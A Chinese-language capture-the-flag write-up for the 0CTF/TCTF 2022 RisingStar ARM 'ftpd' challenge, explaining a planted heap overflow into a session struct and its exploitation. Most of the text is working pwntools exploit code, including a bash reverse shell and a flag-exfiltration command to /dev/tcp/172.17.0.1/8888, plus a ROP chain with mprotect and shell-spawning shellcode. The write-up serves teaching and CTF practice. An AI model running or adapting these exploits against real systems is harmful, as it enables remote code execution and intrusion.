0CTF/TCTF 2022 RisingStar Final ftpd (ARM Pwn)

第六届TCTF新星赛决赛的一道 ARM Pwn 题 - ftpd。

(1)题目作者将ftpd处理客户端目录名的逻辑做了反转,引入一个memcpy堆溢出漏洞,可溢出服务端session结构体(struct ftp_session_t),其中包含函数指针和session链表指针。

(2)利用首先想到溢出函数指针,但直接溢出到函数指针会破坏前序数据,导致提前崩溃。

(3)因此考虑溢出session链表,即伪造一个session结构体。伪造的session内容可以通过STOR命令发送到session->file_buffer中且无任何输入限制,而session的地址在每次重启ftpd后相对于堆基址的偏移是固定的,因此通过RETR读取/proc/self/maps获得堆基址后,即可计算得到session->file_buffer地址,即用于溢出的伪造session地址。

(4)伪造session中的函数指针并不会自动调用,需要通过STOR命令构造出等待客户端数据的状态,当客户端发送数据时触发。

(5)最后使用system函数和ROP+shellcode两种方法完成利用。

image-20240117201536914

题目附件:ftpd_bcf36e5a0d320c83c2e3d721682fb273.tar.gz

题目环境:需在ARM架构上运行,我使用的是张老师的幽兰代码本,还挺方便,也可租ARM服务器做题。

注意:利用找gadget时建议使用docker中的libc,题目给的libc跟本地docker中可能不一样

了解FTP

全称:File Transfer Protocol

作用简介:用于服务端和客户端之间传输文件

FTP的运作基于两个TCP连接:1)命令链路;2)数据链路

FTP的两种工作模式:1)PORT 主动连接模式;2)PASV 被动连接模式

常用FTP命令:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
RETR - Retrieve a copy of the file.
RETR /server_dir/filename :从远程服务器将文件传输到客户端监听的端口中

STOR - Accept the data and to store the data as a file at the server site.
STOR /server_dir/filename :将客户端端口输入的数据存储到服务器的文件中

CWD - Change working directory.
CWD /tmp/aaaaaa

PWD - Print working directory. Returns the current directory of the host.
XPWD - Print the current working directory

XMKD - Make a directory
XMKD /tmp/aaaaaa :在服务器的tmp目录下新建一个aaaaaa目录

PORT - Specifies an address and port to which the server should connect.
PORT 172,17,0,1,14,234 :让服务器主动连接172.17.0.1客户端的3818(14*255+234)端口
【PORT命令执行完成后,数据链路也建立了吗?(数据链路的建立时机?)】

STAT/LIST等 - 可用于列目录/文件信息

参考文章:

ftp-主动模式(PORT)和被动模式(PASV)

关于FTP的PORT命令

List of FTP commands

题目漏洞点

题目给出的ftpd是服务端程序,启动后默认监听本地5000端口。客户端连上该端口后,可通过 PORT/STAT/LIST/STOR/RETR 等FTP命令跟服务端交互,上传或下载文件。

作者patch了 ftp_xfer_dir() 函数中如下if判断,导致处理客户端输入的目录时,目录存在和不存在的处理逻辑被调换了。

1
2
3
4
5
6
7
8
9
@@ -2635,7 +2635,7 @@ ftp_xfer_dir(ftp_session_t   *session,

/* check if this is a directory */
session->dp = opendir(session->buffer);
- if(session->dp == NULL)
+ if(session->dp != NULL)
{
/* not a directory; check if it is a file */
rc = stat(session->buffer, &st);

ftpd的正常代码逻辑如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
ftp_xfer_dir(ftp_session_t *session, const char *args, xfer_dir_mode_t mode, bool workaround)
{
/* ... */
if(strlen(args) > 0)
{
/* ... */
/* check if this is a directory */
session->dp = opendir(session->buffer);
if(session->dp == NULL) // !!!
{
/* not a directory; check if it is a file */
rc = stat(session->buffer, &st);
/* ... */
}
else
{
/* it was a directory, so set it as the lwd */
memcpy(session->lwd, session->buffer, session->buffersize);
// session->buffer中存放的是目录名
// session->buffersize是目录名的总长度
/* ... */
}
}
}

if(session->dp == NULL) 被替换成 if(session->dp != NULL) 后,一个不存在的目录名可以触发memcpy() 函数,且目录名和目录长度都是客户端可控的。session->lwd 数组长度为固定值4096字节,如果构造出一个大于4096字节的目录名,即可触发越界写。

如何触发越界写

ftp_xfer_dir() 函数的调用路径:main() -> ftp_loop() -> ftp_session_poll -> ftp_session_read_command() -> ftp_xfer_dir()

ftp_session_read_command() 函数中限制了一条客户端命令的长度需在4096字节长度以内,也就是说传入的目录名必然小于4096,即 session->buffersize 小于4096,无法触发越界写。那么怎样才能构造出一个长度大于4096字节的目录名呢?

进一步阅读源码的过程中,发现 ftp_xfer_dir() -> buid_path() 中,有一段处理绝对路径和相对路径的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
static int build_path(ftp_session_t *session, const char *cwd, const char *args)
{
/* ... */
if(args[0] == '/')
{
/* this is an absolute path */
size_t len = strlen(args);
if(len > sizeof(session->buffer)-1)
{
errno = ENAMETOOLONG;
return -1;
}

memcpy(session->buffer, args, len);
session->buffersize = len;
}
else
{
/* this is a relative path */
if(strcmp(cwd, "/") == 0)
rc = snprintf(session->buffer, sizeof(session->buffer), "/%s", args);
else
rc = snprintf(session->buffer, sizeof(session->buffer), "%s/%s", cwd, args);
// 该分支可以构造大于4096字节的session->buffersize

if(rc >= sizeof(session->buffer))
{
errno = ENAMETOOLONG;
return -1;
}

session->buffersize = rc;
}

/* ... */
}

因此,可以利用相对路径构造一个大于4096字节的目录名,操作如下:

  1. 使用XMKD创建几个新目录
  2. CWD改当前工作路径到新目录下
  3. STAT时使用相对路径

触发越界写,导致服务端ftpd程序崩溃的poc代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *
context(arch="arm",os="linux",log_level="debug")

io = remote("127.0.0.1", 5000)

cmd1 = b"XMKD " + b"/tmp/" + b"a"*255
cmd2 = b"XMKD " + b"/tmp/" + b"a"*255 + b"/" + b"b"*255
cmd3 = b"CWD " + b"/tmp/" + b"a"*255 + b"/" + b"b"*255
cmd4 = b"STAT " + b"c"*3655

io.recvuntil(b"220 Hello!")
io.sendline(cmd1)
io.recvuntil(b"250 OK")
io.sendline(cmd2)
io.recvuntil(b"250 OK")
io.sendline(cmd3)
io.recvuntil(b"200 OK")
io.sendline(cmd4)

io.interactive()

崩溃的根本原因是 session->next 被覆盖成了一个无法访问的地址0x63636363。

越界写写哪里

发生越界写的结构体是session结构体(struct ftp_session_t),结构体成员及偏移信息如下:

image-20240117190044506

可写的点:

  1. transfer函数指针

    首先映入眼帘的是这个函数指针,如果写掉它,就可以控制流劫持。但是 ftp_session_read_command() -> decode_path() 中,会将目录名中的\x00全部转化为\x0a,导致无法进入调用transfer函数指针的逻辑( ftp_session_transfer() 函数中),后续在处理*next时程序崩溃(ftp_session_destroy() 函数中)。所以这个点不考虑。

  2. next指针:指向下一个待处理的session

    如果先创建两个连接(session1, session2),然后利用漏洞劫持 session1->next 指向一段可控内存,就能伪造 session2 的session结构体及,从而利用 session2->transfer 实现控制流劫持。

对于写next指针的方案,还需要考虑两个问题:1)可控的内存在哪里;2)如何泄露可控内存的地址。

可控内存 - file_buffer

session->cmd_buffersession->buffer 中都会存储客户端输入的命令字符串,但是无法输入”\x00”(因为输入必然经过decode_path() 函数的处理)。

session->file_buffer:通过STOR和RETR传输文件时,file_buffer被用作文件的缓冲区(ftp_session_open_file_write() 函数中设置)。普通文件中可以输入任意字符包括”\x00”,所以可以在这里伪造session结构体。

往file_buffer中写入文件内容的方式:

1
2
3
4
5
# 窗口1 - 本地通过监听端口25701发送文件内容
nc -lp 25701
# 窗口2 - 连接ftpd服务器,通过控制命令指定文件名(上传)
PORT 172,17,0,1,100,101
STOR /tmp/testtest

泄露地址 - RETR

由于目标是一个ftp服务器,所以客户端可以直接读取 /proc/self/maps 获取进程的内存地址信息。

1
2
3
4
5
# 窗口1 - 本地通过监听端口25700接收文件内容
nc -lp 25700
# 窗口2 - 连接ftpd服务器,通过控制命令指定文件名(下载)
PORT 172,17,0,1,100,100
RETR /proc/self/maps

虽然本题开启了随机化,但每次ftpd服务重启后session结构体堆块的偏移是固定的,所以仅需泄露堆基址即可获得session结构体所在地址。

控制流劫持

如何触发函数指针

调用 session->transfer 的路径有多条,像STAT这种命令是先设置transfer指针,紧接着就调用了,留给我们更改函数指针的时间窗口太小,不适合该利用场景。 在搜索和调试中,发现STOR设置完transfer指针后,会先进入等待状态,等到客户端发送数据后才会触发执行transfer函数指针。

我用于触发 session->transfer 函数指针执行的方式如下:

  1. 往ftpd服务端发送 PORT 和 STOR 指令,执行完毕后,对应的session会处于等待阶段,等待客户端传递文件内容。
  2. 此时可利用漏洞改写 session->transfer 函数指针,或者替换掉对应的session结构体。
  3. 最后往本地监听的数据端口输入文件内容,即可触发ftpd服务端 session->transfer 函数指针的执行。

越界写到控制流劫持

现在我们来理一下,将越界写转化成控制流劫持的思路如下:

(向ftpd服务端发起两个session连接)

  1. [session1] 执行 PORT+RETR 命令,通过 /proc/self/maps 泄露堆地址信息(一个nc监听 n1)
  2. [session1] 执行 PORT+STOR 命令,将 fake session 写入 session1->file_buffer 中(一个nc监听 n2)
  3. [session2] 执行 PORT+STOR 命令,使 session2 处于等待接收数据阶段(一个nc监听 n3)
  4. [session1] 执行 XMKD+CWD+STAT 命令,利用溢出漏洞改写 session1->next,使其指向 session1->file_buffer(fake session)
  5. [session2] 往监听的n3写入数据,触发执行fake session中的函数指针,达到控制流劫持目的

达成控制流劫持的完整poc代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
import re
import threading
from pwn import *
context(arch="arm",os="linux",log_level="debug")

leak_info = b""
prog_base = 0
heap_base = 0
libc_base = 0

io_1 = remote("127.0.0.1", 5000)
sleep(1)
io_2 = remote("127.0.0.1", 5000)

### stage 1
def leak_thread():
l = listen(25700)
conn = l.wait_for_connection()
global leak_info
leak_info = conn.recv()
l.close()

def leak_addr():
thread1 = threading.Thread(target=leak_thread)
thread1.start()
sleep(1)
cmd0 = b"PORT 172,17,0,1,100,100" # port 25700
cmd1 = b"RETR /proc/self/maps"
io_1.recvuntil(b"220 Hello!")
io_1.sendline(cmd0)
io_1.recvuntil(b"200 OK")
io_1.sendline(cmd1)
io_1.recvuntil(b"226 OK")
thread1.join()
print("thread1 end!")
leak_list = leak_info.split(b"\\n")
global prog_base
global heap_base
global libc_base
prog_base = int(leak_list[0][:8],16)
heap_base = int(leak_list[4][:8],16)
libc_base = int(leak_list[5][:8],16)

leak_addr()
print("leak info:")
print(hex(prog_base))
print(hex(heap_base))
print(hex(libc_base))

### stage 2
def fake_thread():
l = listen(25701)
fake_session = b"a"*12
fake_session += p32(0)*8
fake_session += p32(5) # session->cmd_fd
fake_session += p32(0)
fake_session += p32(7) # session->data_fd
fake_session += p32(0)
fake_session += p32(8) # session->flags
fake_session += p32(0)*2
fake_session += p32(2) # session->state
fake_session += p32(0)*2
fake_session += p32(0xbabebeef) # hijack
l.send(fake_session)
sleep(3)
l.close()

def send_fake_session():
thread2 = threading.Thread(target=fake_thread)
thread2.start()
sleep(1)
cmd0 = b"PORT 172,17,0,1,100,101" # port 25701
cmd1 = b"STOR /tmp/testtest"
io_1.sendline(cmd0)
io_1.recvuntil(b"200 OK")
io_1.sendline(cmd1)
io_1.recvuntil(b"226 OK")
thread2.join()
print("thread2 end!")

send_fake_session()

### stage 3 && stage 5
def trigger_transfer():
l = listen(25702)
# conn = l.wait_for_connection()
payload = b"a"*12
print("going to sleep 10s")
sleep(10)
print("sleep end")
l.send(payload) # stage 5

def set_session2():
thread3 = threading.Thread(target=trigger_transfer)
thread3.start()
cmd0 = b"PORT 172,17,0,1,100,102" # port 25702
cmd1 = b"STOR /tmp/payload"
# io_2.recvuntil(b"220 Hello!")
io_2.sendline(cmd0)
io_2.recvuntil(b"200 OK")
io_2.sendline(cmd1)
# io_2.recvuntil(b"226 OK")
# thread3.join()

set_session2()

### stage 4
def oow_next(fake_ss_addr):
cmd1 = b"XMKD " + b"/tmp/" + b"a"*255
cmd2 = b"XMKD " + b"/tmp/" + b"a"*255 + b"/" + b"b"*255
cmd3 = b"CWD " + b"/tmp/" + b"a"*255 + b"/" + b"b"*255
cmd4 = b"STAT " + b"\\xff"*3579
cmd4 += b"\\xaa"*32
cmd4 += b"\\x04"*4
cmd4 += b"\\xff"*28
cmd4 += p32(fake_ss_addr) # [!!!] p32(fake_ss_addr) or p32(fake_ss_addr)[:3]

io_1.sendline(cmd1)
io_1.recvuntil(b"250 OK")
io_1.sendline(cmd2)
io_1.recvuntil(b"250 OK")
io_1.sendline(cmd3)
io_1.recvuntil(b"200 OK")
io_1.sendline(cmd4)

fake_ss_addr = heap_base+0xa5f0-0x2000
print("fake session addr:")
print(fake_ss_addr)
oow_next(fake_ss_addr)

sleep(60)
# io_1.interactive()

获取flag

控制流劫持后,获取flag的方式有两种:

  1. system执行bash命令:本题发生控制流劫持的点完美符合该模式,利用system执行命令获取flag/get shell是一种比较简单的方式。
  2. 栈迁移+ROP+shellcode:是一种常规的控制流劫持后的利用方法,该方法适用范围更广。

以上两种方法本文都进行了尝试。

方法1:system反弹shell

控制流劫持的点是 session->transfer(session),函数指针和参数内容都是我们可控的,所以可直接利用 system() 函数执行如下命令,将/challenge/flag的执行结果发送给客户端,或者直接将shell重定向给客户端:

1
2
3
4
# 将程序执行结果发送到客户端
/challenge/flag > /tmp/f ; cat /tmp/f > /dev/tcp/172.17.0.1/8888
# 将shell重定向给客户端
/bin/bash > /dev/tcp/172.17.0.1/8888 0>&1 2>&1

完整exp代码如下(需监听8888端口接收flag/shell):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
import re
import threading
from pwn import *
context(arch="arm",os="linux",log_level="debug")

leak_info = b""
prog_base = 0
heap_base = 0
libc_base = 0

io_1 = remote("127.0.0.1", 5000)
sleep(1)
io_2 = remote("127.0.0.1", 5000)

### stage 1
def leak_thread():
l = listen(25700)
conn = l.wait_for_connection()
global leak_info
leak_info = conn.recv()
l.close()

def leak_addr():
thread1 = threading.Thread(target=leak_thread)
thread1.start()
sleep(1)
cmd0 = b"PORT 172,17,0,1,100,100" # port 25700
cmd1 = b"RETR /proc/self/maps"
io_1.recvuntil(b"220 Hello!")
io_1.sendline(cmd0)
io_1.recvuntil(b"200 OK")
io_1.sendline(cmd1)
io_1.recvuntil(b"226 OK")
thread1.join()
print("thread1 end!")
leak_list = leak_info.split(b"\\n")
global prog_base
global heap_base
global libc_base
prog_base = int(leak_list[0][:8],16)
heap_base = int(leak_list[4][:8],16)
libc_base = int(leak_list[5][:8],16)

leak_addr()
print("leak info:")
print(hex(prog_base))
print(hex(heap_base))
print(hex(libc_base))
h_flag = len(hex(heap_base))-2
print("heap addr len:",end="")
print(h_flag)

### stage 2
def fake_thread():
global prog_base
global libc_base
gadget1 = prog_base+0x2c86
system_addr = libc_base+0x2F5C8
l = listen(25701)
fake_session = b"a"*12
# fake_session += b"bash -c \\"/challenge/flag > /tmp/f ; cat /tmp/f > /dev/tcp/172.17.0.1/8888\\"\\x00".ljust(0x2000,b"c")
fake_session += b"bash -c \\"/bin/bash > /dev/tcp/172.17.0.1/8888 0>&1 2>&1\\"\\x00".ljust(0x2000,b"c")
# fake_session += b"c"*0x2000
fake_session += p32(0x0)*8
fake_session += p32(5) # session->cmd_fd
fake_session += p32(0x0)
fake_session += p32(7) # session->data_fd
fake_session += p32(0x0)
fake_session += p32(8) # session->flags
fake_session += p32(0x0)*2
fake_session += p32(2) # session->state
fake_session += p32(0x0)*2
fake_session += p32(system_addr+1) # hijack
l.send(fake_session)
sleep(3)
l.close()

def send_fake_session():
thread2 = threading.Thread(target=fake_thread)
thread2.start()
sleep(1)
cmd0 = b"PORT 172,17,0,1,100,101" # port 25701
cmd1 = b"STOR /tmp/testtest"
io_1.sendline(cmd0)
io_1.recvuntil(b"200 OK")
io_1.sendline(cmd1)
io_1.recvuntil(b"226 OK")
thread2.join()
print("thread2 end!")

send_fake_session()

### stage 3 && stage 5

def trigger_transfer():
l = listen(25702)
# conn = l.wait_for_connection()
payload = b"a"*12
print("going to sleep")
sleep(10)
print("end to sleep")
l.send(payload)

def set_session2():
thread3 = threading.Thread(target=trigger_transfer)
thread3.start()
cmd0 = b"PORT 172,17,0,1,100,102" # port 25702
cmd1 = b"STOR /tmp/payload"
# io_2.recvuntil(b"220 Hello!")
io_2.sendline(cmd0)
io_2.recvuntil(b"200 OK")
io_2.sendline(cmd1)
# io_2.recvuntil(b"226 OK")
# thread3.join()

set_session2()

### stage 4

def oow_next(fake_ss_addr):
cmd1 = b"XMKD " + b"/tmp/" + b"a"*255
cmd2 = b"XMKD " + b"/tmp/" + b"a"*255 + b"/" + b"b"*255
cmd3 = b"CWD " + b"/tmp/" + b"a"*255 + b"/" + b"b"*255
cmd4 = b"STAT " + b"\\xff"*3579
cmd4 += b"\\xaa"*32
cmd4 += b"\\x04"*4
cmd4 += b"\\xff"*28
# cmd4 += p32(fake_ss_addr)[:3] # [random] p32(fake_ss_addr) or p32(fake_ss_addr)[:3]
if(h_flag >= 7):
cmd4 += p32(fake_ss_addr)
else:
cmd4 += p32(fake_ss_addr)[:3]

io_1.sendline(cmd1)
io_1.recvuntil(b"250 OK")
io_1.sendline(cmd2)
io_1.recvuntil(b"250 OK")
io_1.sendline(cmd3)
io_1.recvuntil(b"200 OK")
io_1.sendline(cmd4)

fake_ss_addr = heap_base+0xa5f0 # session1's file_buffer
print("fake session addr:")
print(hex(fake_ss_addr))
oow_next(fake_ss_addr)

sleep(60)
# io_1.interactive()

成功获得shell:

image-20240117190143957

方法2:ROP + shellcode

控制流劫持后,通过arm gadget完成栈迁移,再利用thumb gadget继续ROP完成RWX段的设置(通过调用mprotect),最后跳转至arm shellcode获得shell(dup2() + execve())。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
import re
import threading
from pwn import *
context(arch="arm",os="linux",log_level="debug")

leak_info = b""
prog_base = 0
heap_base = 0
libc_base = 0

io_1 = remote("127.0.0.1", 5000)
sleep(1)
io_2 = remote("127.0.0.1", 5000)

### stage 1
def leak_thread():
l = listen(25700)
conn = l.wait_for_connection()
global leak_info
leak_info = conn.recv()
l.close()

def leak_addr():
thread1 = threading.Thread(target=leak_thread)
thread1.start()
sleep(1)
cmd0 = b"PORT 172,17,0,1,100,100" # port 25700
cmd1 = b"RETR /proc/self/maps"
io_1.recvuntil(b"220 Hello!")
io_1.sendline(cmd0)
io_1.recvuntil(b"200 OK")
io_1.sendline(cmd1)
io_1.recvuntil(b"226 OK")
thread1.join()
print("thread1 end!")
leak_list = leak_info.split(b"\\n")
global prog_base
global heap_base
global libc_base
prog_base = int(leak_list[0][:8],16)
heap_base = int(leak_list[4][:8],16)
libc_base = int(leak_list[5][:8],16)

leak_addr()
print("leak info:")
print(hex(prog_base))
print(hex(heap_base))
print(hex(libc_base))
h_flag = len(hex(heap_base))-2
print("heap addr len:",end="")
print(h_flag)

### stage 2
def fake_thread():
global prog_base
global libc_base
gadget0 = libc_base+0x6c09c # [arm inst] ldm r0, {r0, r1, r3, r5, r7, r8, sb, sl, ip, sp, lr, pc}
gadget1 = libc_base+0x7127e+1 # [thumb inst] pop {r0, r1, r2, r5, pc}
fake_sp = (heap_base+0xa5f0)+0x600
shellcode_addr = (heap_base+0xa5f0)+0xa10
mprotect_addr = libc_base+0x9B480
# system_addr = libc_base+0x2F5C8
l = listen(25701)
fake_session = b"a"*12 # padding, then fake session
# fake_session += b"c"*0x2000

pop_sp = flat(0x00,0x11,0x33,0x55,0x77,0x88,0x99,0x1010,0x1212,fake_sp,shellcode_addr,gadget1).ljust(0x600,b"\\x00")
pop_sp += flat(shellcode_addr, 0x1000, 0x7, 0x0, mprotect_addr+1)
context.arch="arm"
shellcode_con = asm(shellcraft.arm.dupsh(4))

fake_session += (pop_sp.ljust(0xa10,b"\\x00")+shellcode_con).ljust(0x2000,b"\\x00")

fake_session += p32(0x11)*8
fake_session += p32(5) # session->cmd_fd
fake_session += p32(0x22)
fake_session += p32(7) # session->data_fd
fake_session += p32(0x33)
fake_session += p32(8) # session->flags
fake_session += p32(0x44)*2
fake_session += p32(2) # session->state
fake_session += p32(0x0) # session->next
fake_session += p32(0x55) # session->prev
fake_session += p32(gadget0) # hijack
l.send(fake_session)
sleep(3)
l.close()

def send_fake_session():
thread2 = threading.Thread(target=fake_thread)
thread2.start()
sleep(1)
cmd0 = b"PORT 172,17,0,1,100,101" # port 25701
cmd1 = b"STOR /tmp/testtest"
io_1.sendline(cmd0)
io_1.recvuntil(b"200 OK")
io_1.sendline(cmd1)
io_1.recvuntil(b"226 OK")
thread2.join()
print("thread2 end!")

send_fake_session()

### stage 3 && stage 5

def trigger_transfer():
l = listen(25702)
# conn = l.wait_for_connection()
payload = b"a"*12
print("going to sleep")
sleep(10)
print("end to sleep")
l.send(payload)

def set_session2():
thread3 = threading.Thread(target=trigger_transfer)
thread3.start()
cmd0 = b"PORT 172,17,0,1,100,102" # port 25702
cmd1 = b"STOR /tmp/payload"
# io_2.recvuntil(b"220 Hello!")
io_2.sendline(cmd0)
io_2.recvuntil(b"200 OK")
io_2.sendline(cmd1)
# io_2.recvuntil(b"226 OK")
# thread3.join()

set_session2()

### stage 4

def oow_next(fake_ss_addr):
cmd1 = b"XMKD " + b"/tmp/" + b"a"*255
cmd2 = b"XMKD " + b"/tmp/" + b"a"*255 + b"/" + b"b"*255
cmd3 = b"CWD " + b"/tmp/" + b"a"*255 + b"/" + b"b"*255
cmd4 = b"STAT " + b"\\xff"*3579
cmd4 += b"\\xaa"*32
cmd4 += b"\\x04"*4
cmd4 += b"\\xff"*28
# cmd4 += p32(fake_ss_addr) # p32(fake_ss_addr) or p32(fake_ss_addr)[:3]
if(h_flag >= 7):
cmd4 += p32(fake_ss_addr)
else:
cmd4 += p32(fake_ss_addr)[:3]

io_1.sendline(cmd1)
io_1.recvuntil(b"250 OK")
io_1.sendline(cmd2)
io_1.recvuntil(b"250 OK")
io_1.sendline(cmd3)
io_1.recvuntil(b"200 OK")
io_1.sendline(cmd4)

fake_ss_addr = heap_base+0xa5f0 # session1's file_buffer
print("fake session addr:")
print(hex(fake_ss_addr))
oow_next(fake_ss_addr)

sleep(13)
io_1.interactive()

成功获得shell:

image-20240117190209462

其他

  • thumb模式寻找gadget

    1
    ROPgadget --binary ./libc-2.31.so --thumb  > gadget.txt
  • 对于arm32程序,找gadget时可以在arm和thumb两种模式中各自寻找

    1
    2
    # 以本题ftpd为例,thumb模式gadget中无通过r0控制pc的指令,但是arm模式中有
    0x0006c09c : ldm r0, {r0, r1, r3, r5, r7, r8, sb, sl, ip, sp, lr, pc}